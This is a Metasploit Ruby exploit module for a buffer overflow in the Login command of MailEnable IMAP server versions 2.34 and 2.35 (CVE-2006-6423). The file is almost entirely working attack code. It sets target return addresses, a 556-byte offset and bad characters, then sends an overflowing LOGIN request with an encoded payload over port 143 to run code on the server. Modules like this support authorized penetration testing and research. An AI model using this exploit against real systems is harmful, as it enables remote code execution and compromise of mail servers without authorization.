modules/exploits/windows/imap/mailenable_login.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'MailEnable IMAPD (2.34/2.35) Login Request Buffer Overflow',
'Description' => %q{
MailEnable's IMAP server contains a buffer overflow
vulnerability in the Login command.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-6423'],
[ 'OSVDB', '32125'],
[ 'BID', '21492']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 450,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'MailEnable 2.35 Pro',
{
'Ret' => 0x10049abb,
}
], #MEAISP.DLL
[ 'MailEnable 2.34 Pro',
{
'Ret' => 0x76095d68,
'Offset' => 556,
}
], #push esp # ret | ascii {PAGE_EXECUTE_READ} [MSVCP60.dll]
],
'DisclosureDate' => '2006-12-11',
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(143) ])
end
def exploit
connect
auth = "a001 LOGIN " + rand_text_alpha_upper(4) + " {10}\r\n"
sploit = rand_text_alpha_upper(556) + [target.ret].pack('V')
sploit << payload.encoded + "\r\n\r\n"
res = sock.recv(50)
if ( res =~ / OK IMAP4rev1/)
print_status("Trying target #{target.name}...")
sock.put(auth)
sock.get_once(-1, 3)
sock.put(sploit)
else
print_status("Not running IMAP4rev1...")
end
handler
disconnect
end
end